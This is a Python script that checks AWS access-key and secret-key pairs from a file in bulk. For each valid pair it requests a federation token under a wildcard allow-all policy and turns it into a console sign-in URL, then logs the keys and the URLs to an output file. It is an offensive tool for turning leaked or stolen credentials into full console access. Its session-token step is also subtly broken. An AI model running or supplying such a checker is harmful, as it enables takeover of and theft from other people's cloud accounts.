import boto3
import urllib.parse
import json
import urllib.request

FEDERATION_URL = "https://signin.aws.amazon.com/federation?Action=getSigninToken&%s"
SIGNIN_URL = "https://signin.aws.amazon.com/federation?Action=login&Destination=https://console.aws.amazon.com&SigninToken=%s"

def check_credentials(access_key, secret_key):
    try:
        client = boto3.client(
            'sts',
            aws_access_key_id=access_key,
            aws_secret_access_key=secret_key,
            region_name='us-east-1'
        )
        response = client.get_federation_token(
            Name='admin',
            Policy=json.dumps({
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Sid": "Stmt1",
                        "Effect": "Allow",
                        "Action": "*",
                        "Resource": "*"
                    }
                ]
            }),
            DurationSeconds=3600
        )['Credentials']
        return {
            "access_key": response['AccessKeyId'],
            "secret_key": response['SecretAccessKey'],
            "session_token": response['SessionToken'],
            "valid": True
        }
    except Exception as e:
        return {"valid": False, "error": str(e)}

def get_console_url(access_key, secret_key):
    token = check_credentials(access_key, secret_key)
    if token["valid"]:
        try:
            url_data = urllib.parse.urlencode({"Session": token})
            with urllib.request.urlopen(FEDERATION_URL % url_data) as res:
                token = json.loads(res.read().decode("utf-8"))["SigninToken"]
                result = f"Access Key: {access_key}, Secret Key: {secret_key}, Console URL: {SIGNIN_URL % token}"
                print(result)
                return result
        except Exception as e:
            return str(e)
    else:
        result = f"Invalid credentials - Access Key: {access_key}, Secret Key: {secret_key}, Error: {token['error']}"
        print(result)
        return result

def mass_checker(input_filename, output_filename):
    with open(input_filename, 'r') as input_file, open(output_filename, 'w') as output_file:
        for line in input_file:
            access_key, secret_key = line.strip().split(',')
            result = get_console_url(access_key, secret_key)
            output_file.write(result + '\n')

if __name__ == '__main__':
    input_filename = input('Enter the filename containing AWS credentials (each line in the format "access_key,secret_key"): ')
    output_filename = input('Enter the filename to save the results: ')
    mass_checker(input_filename, output_filename)